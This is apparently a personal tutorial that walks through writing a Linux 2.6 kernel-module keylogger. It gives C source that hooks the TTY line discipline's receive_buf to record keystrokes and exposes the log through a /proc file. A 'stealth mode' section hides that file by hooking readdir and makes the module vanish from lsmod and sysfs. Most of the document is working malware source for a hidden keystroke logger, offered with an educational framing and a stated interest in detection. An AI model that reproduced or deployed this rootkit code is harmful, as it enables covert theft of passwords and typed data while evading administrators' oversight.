1. Introduction
  2. Keyboard Events
  3. Writing our Keylogger
  4. Hijacking the function
  5. Accessing the log
  6. Stealth Mode
  7. Conclusion

0. Introduction

I’ve always been curious on how keyloggers work in general. And I’ve been wanting to play around with kernel modules, so I thought I’d try building one myself. Luckily, there are some helpful articles online, such as phrack’s Writing Linux Kernel Keylogger, which I’ve bookmarked before but never got the chance to reading it until recently.

This guide is mostly a linux 2.6 implementation of the phrack article with some slight modifications (more like simplifications). First, we would keep things as simple as possible (i.e no distinguishing between concurrent TTY sessions, no special chacters, etc..). Second, instead of overriding system calls in the sys_call_table, we would be modifying a kernel structure directly. Third, since the reason why one would normally choose to write a kernel keylogger as opposed to a users-space one is for its better undetectability, we are going to make it a little bit stealthy.

The example below would be based on Ubuntu 10.04 w/ linux kernel 2.6.32-41.88. Also the full source code is available in github.

1. Keyboard Events

Before we jump into anything, I think its good to actually see what’s happening when someone types something on the keyboard. We’re gonna do that by installing an existing kenel module called evbug.ko that is already available on ubuntu.

But first, let’s have see have more information about our keyboard device, which we can access via cat /proc/bus/input/devices.

I: Bus=0011 Vendor=0001 Product=0001 Version=ab41
N: Name="AT Translated Set 2 keyboard"
P: Phys=isa0060/serio0/input0
S: Sysfs=/devices/platform/i8042/serio0/input/input3
U: Uniq=
H: Handlers=kbd event3 
B: EV=120013
B: KEY=4 2000000 3803078 f800d001 feffffdf ffefffff ffffffff fffffffe
B: MSC=10
B: LED=7

In my system, it shows “AT Translated Set 2 keyboard”. It also shows that the system chose drivers/input/serio/i8042.c driver to handle our keyboard interrupts and that it dispatches to 2 handlers “kbd” and “event3” whenever key presses occurs. These 2 handlers correspond to the drivers/char/keyboard.c and drivers/input/evdev.c

Going back to evbug.ko, we are going to install this kernel module to inspect keyboard events. We install it via sudo insmod /lib/modules/$(uname -r)/kernel/drivers/input/evbug.ko. Once that’s installed, we can inspect “/proc/bus/input/devices” again to see that the keyboard device driver has a new handler called evbug “H: Handlers=kbd event3 evbug”. And if you start typing “asdf” anywhere, you would see the corresponding events in “/var/log/syslog”

Nov 29 02:47:20 ubuntu-VirtualBox kernel: [119184.190223] evbug.c: Event. Dev: input3, Type: 4, Code: 4, Value: 30
Nov 29 02:47:20 ubuntu-VirtualBox kernel: [119184.190991] evbug.c: Event. Dev: input3, Type: 1, Code: 30, Value: 1
Nov 29 02:47:20 ubuntu-VirtualBox kernel: [119184.191197] evbug.c: Event. Dev: input3, Type: 0, Code: 0, Value: 0
Nov 29 02:47:20 ubuntu-VirtualBox kernel: [119184.341016] evbug.c: Event. Dev: input3, Type: 4, Code: 4, Value: 31
Nov 29 02:47:20 ubuntu-VirtualBox kernel: [119184.341140] evbug.c: Event. Dev: input3, Type: 1, Code: 31, Value: 1
Nov 29 02:47:20 ubuntu-VirtualBox kernel: [119184.436276] evbug.c: Event. Dev: input3, Type: 0, Code: 0, Value: 0
Nov 29 02:47:20 ubuntu-VirtualBox kernel: [119184.436427] evbug.c: Event. Dev: input3, Type: 4, Code: 4, Value: 32
Nov 29 02:47:20 ubuntu-VirtualBox kernel: [119184.436507] evbug.c: Event. Dev: input3, Type: 1, Code: 32, Value: 1
Nov 29 02:47:20 ubuntu-VirtualBox kernel: [119184.436577] evbug.c: Event. Dev: input3, Type: 0, Code: 0, Value: 0
Nov 29 02:47:20 ubuntu-VirtualBox kernel: [119184.531998] evbug.c: Event. Dev: input3, Type: 4, Code: 4, Value: 33
Nov 29 02:47:20 ubuntu-VirtualBox kernel: [119184.532179] evbug.c: Event. Dev: input3, Type: 1, Code: 33, Value: 1

Basically, these are what they call “scan codes”. Raw codes from the keyboard events that haven’t gone through processing. There are about three scan codes for each of the “a”, “s”, “d”, “f” that we typed. But depending on the characters (for example pressing shift and symbols such as @#$), there could be more scan codes and would need further processing to be translated correctly to the correct character.

The reason why we installed the evbug module is to show you that adding your own input handler is one of the ways in which one can listen to raw keyboard events. In fact, evdev, another input handler you saw earlier, does something very similar, and is used by X11 to show the keypresses being made to the graphical interface user. The advantage is that it abstracts away the communication and data fetching from the keyboard port and provides a generic interface for those events (which is easier as opposed to registering your own keyboard interrupt via request_irq).

We can uninstall it by doing sudo rmmod evbug to avoid polluting syslog.

2. Writing our keylogger

While can use the evbug approach to listen to keyboard events, but we’re going to be lazy and intercept function calls instead. Ideally, it’ll be at a point where the “scan codes” have already been translated into the correct characters. Fortunately, drivers/char/keyboard.c, also known as the “kbd” handler we saw in the previous section, does most of those keymap translation work for us already. And that’s why we’re going to take advantage of it.

At this point, if you haven’t read rd’s article Writing Linux Kernel Keylogger, I strongly recommend you read it, as it already contains a very good explanation of the keyboard handling event flow from “handle_scancode –> tty_queue –> tty_ldisc_buffer –> user process”.

But just to give a quick overview of what we’re about to do, and just to reference some of the things I found while reading the source code in linux 2.6.32.41, let’s walkthrough a possible codepath that occurs during a keyboard event. We’re not gonna show a complete path but rather just a summary of what’s going on, but enough to describe the point of entry with regards to our key logging. I’d like to describe it as coming in two phases. The “interrupt phase” and the “polling phase”.

Interrupt Phase

Ignoring the part where the actual driver (i8042.c) receives an interrupt from the device and grabs data from the port and dispatches the interrupt handling routine further down the chain to our input handlers, we’re gonna start with our “kbd” input handler, where the kbd_event gets called. Basically, it processes the scan codes and translates them into human readable keys. Since interrupt handlers can run only one at a time, it tries to do only the minimal thing required so that other handlers can run. And this thing happens to be shoving the translated keyboard events into the into the TTY line discipline buffer (at this point its quite obvious that the “kbd” input handler is meant for TTY devices only), which you can see in the last line of the callgraph. Although that doesn’t mean we can’t intercept its scancode translation functions and use it to our advantage (but we’re not gonna do that).

kbd_event (keyboard.c)
  kbd_raw
    put_queue
      tty_insert_flip_char
        struct tty_buffer *tb = tty->buf.tail
        tb->char_buf_ptr[tb->used++] = ch (tty_flip.h)

Polling Phase

The second phase, which I would like to call the “polling phase” is the part where the TTY line discpline constantly polls for the prescence of data in the buffer. Note that this is completely independent from the keyboard driver. Keyboard driver only responds to key events that happen on the machine where the driver is installed on. For someone who connects to a TTY terminal remotely, the keyboard driver can’t listen to any of the keypresses. However, the remotely connected TTY session sends the translated keypress characters from the remote keyboard driver into the TTY buffer itself, so the polling phase detects characters in the buffer regardless of whether its a local or remote session. Once there’s data in the buffer, it grabs them, and puts them into another buffer that is meant for user-space applications to read from. This you can see in the last line tty->read_buf[tty->read_head] = c.

ld->ops->poll (tty_io.c)
  n_tty_poll (n_tty.c)
    input_available_p 
      tty_flush_to_ldisc (tty_buffer.c)
        flush_to_ldisc (via INIT_DELAYED_WORK(&tty->buf.work, flush_to_ldisc))
          disc->ops->receive_buf (implemented by n_tty_receive_buf in n_tty.c)
            n_tty_receive_buf
              memcpy(tty->read_buf + tty->read_head, cp, i) (if tty->real_raw)
              n_tty_receive_char
                put_tty_queue
                  put_tty_queue_nolock
                    tty->read_buf[tty->read_head] = c (n_tty.c)

The point of entry that we’re interested in is disc->ops->receive_buf. The reason being that it’s easy to hijack the function of a global struct. Let’s move on to the next section.

3. Hijacking the function

What we’re going to do is intercept the receive_buf function, which is very similar to the method used in (section 3.2.3 of rd’s article) , but with one minor difference. Instead of intercepting the sys_open call, getting the tty, and overwriting the tty’s receive_buf, we’re going to modify the kernel structure holding the receive_buf function directly. This structure is basically held by tty_ldisc_N_TTY.

Although the symbol is not exported and not normally accessible to kernel modules, we can access it by directly referencing its memory address which is listed in /proc/kallsyms.

@vagrant ~$ grep tty_ldisc_N_TTY /proc/kallsyms 
c0787dc0 D tty_ldisc_N_TTY

Then all we do is cast it our structure

struct tty_ldisc_ops *our_tty_ldisc_N_TTY = (struct tty_ldisc_ops *) 0xc0789e20;

After that, we simply replace the receive_buf member to point to our function, which you can see below in new_receive_buf. proxy_receive_buf mostly does the processing. And all it does is grab the incoming characters into our buffer so that we can later access it whenever we want to. Then, we simply install back the original receive_buf when our kernel module is removed.

struct line_buf {
  char line[100000];
  int  pos;
};

static struct line_buf key_buf;

static void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count)
{
  original_receive_buf(tty, cp, fp, count);
  proxy_receive_buf(tty, cp, fp, count);
}

static void proxy_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count)
{
  if (!tty->read_buf || tty->real_raw) {
    return;
  }

  if (count == 1) {
    if (*cp == BACKSPACE_KEY) {
      key_buf.line[--key_buf.pos] = 0;
    } else if (*cp == ENTER_KEY) {
      key_buf.line[key_buf.pos++] = '\n';
    } else {
      key_buf.line[key_buf.pos++] = *cp;
    }
  }

}

static void hijack_tty_ldisc_receive_buf(void)
{
  our_tty_ldisc_N_TTY = (struct tty_ldisc_ops *) 0xc0789e20;

  original_receive_buf = our_tty_ldisc_N_TTY->receive_buf;
  our_tty_ldisc_N_TTY->receive_buf = new_receive_buf;
}

static void unhijack_tty_ldisc_receive_buf(void)
{
  our_tty_ldisc_N_TTY->receive_buf = original_receive_buf;
}

4. Accessing the log

Now that we have keylog data in our buffer, we need an easy way to view it. And procfs comes in handy. Basically, we’re gonna put our file in /proc/keylogger and to do that, we just need to create a new proc entry and register a read handler, and remove it after module exits.

#define PROCFS_NAME "keylogger"

int
procfile_read(char *buffer,
              char **buffer_location,
              off_t offset, int buffer_length, int *eof, void *data)
{
  return sprintf(buffer, key_buf.line);
}

static int create_keylogger_proc_entry(void)
{
  struct proc_dir_entry *r;
  r = create_proc_read_entry(PROCFS_NAME, 0, NULL, procfile_read, NULL);
  if (!r)
          return -ENOMEM;
  return 0;
}

static void remove_keylogger_proc_entry(void)
{
  remove_proc_entry(PROCFS_NAME, NULL);
}

5. Stealth Mode

There are two things we’re going to do. First, we’re going to hide the proc entry. Second, we’re goint to hide the loadable kernel module itself.

5.a Hiding the Proc entry

To hide the proc entry, we’re going to use the technique specified in section 3.5 of this article. Basically, “/proc” being a file system itself, would use readdir function to determine whether to show files in a directory. To do that, it calls a function filldir, that returns 0 if a file should not be displayed, and non-zero if it should be displayed. All we need to do is modify readdir to use our own “filldir” function so that whenever it matches “/proc/keylogger”, it’ll return 0 and thus not display the file. You could see our new_filldir function handling this.

int new_filldir(void * dirent, const char *name, int namelen, loff_t offset, u64 ino, unsigned int file_type)
{
  if (strncmp(name, PROCFS_NAME, strlen(PROCFS_NAME)) == 0) {
    return 0;
  }

  return original_filldir(dirent, name, namelen, offset, ino, file_type);
}

static int new_proc_root_readdir(struct file * filp,
  void * dirent, filldir_t filldir)
{
  original_filldir = filldir;
  return original_proc_root_readdir(filp, dirent, new_filldir);
}

static void hide_keylogger_proc_entry(void)
{
  our_proc_root = (struct proc_dir_entry *) 0xc0779500;
  set_page_rw((unsigned long) our_proc_root->proc_fops);
  original_proc_root_readdir = ((struct file_operations *)(our_proc_root->proc_fops))->readdir;
  ((struct file_operations *)(our_proc_root->proc_fops))->readdir = new_proc_root_readdir;
}

static void unhide_keylogger_proc_entry(void)
{
  ((struct file_operations *)(our_proc_root->proc_fops))->readdir = original_proc_root_readdir;
  set_page_ro((unsigned long) our_proc_root->proc_fops);
}

Now there are couple of things here that we need to take note of. First, the structure we’re modifying (our_proc_root->proc_fops) is marked as const, so modifying it directly would result in a compiler error. Second, since it’s a const global variable, it is read only and thus would result in a kernel oops if modified. In order to workaround our first hurdle, we would cast the const structure into a non-const structure so that the compiler would treat it as such and not complain. To deal with the read-only problem, we are gonna use the technique specified in this stackoverflow answer to mark the page holding our struct as writable, which you can see in the function calls “set_page_rw” and “set_page_ro”.

5.b Hiding the LKM

One can easily list all installed kernel modules by issuing the lsmod command. So if our keyloger is installed, someone could spot it there. What we’re gonna do is hide it from that listing.

After a quick google research, I found a post that shows how one can easily hide the lkm by removing it from the module list and deleting its kobject structure. Voila.

static void hide_this_module(void)
{
  list_del_init(&__this_module.list);
  kobject_del(&THIS_MODULE->mkobj.kobj);
}

Now its hidden from lsmod, /proc/modules, and /sys/module But this also means that we can’t just remove the module anymore through rmmod, and instead would require a reboot to get rid of it.

6. Conclusion

That’s it. We have a working linux 2.6 kernel keylogger that hides itself from users. We did however chose the relatively simpler path in terms of features. Our keylogger works only for terminals (TTY devices), and it doesn’t differentiate between concurrent TTY sessions, etc.. If you want to make keylogger that works with browsers as well, I suggest hijacking the put_queue function as suggested by rd or installing an input handler yourself like evbug (althought this requires more effort). I hope someone find this guide helpful and educational. It personally helped me understand better how the linux kernel handles input devices, and also helped me gain some insight as to how rootkits hide themselves. My eventual goal is to come up with detection techniques. Luckily there are several papers that discuss them that I can learn from.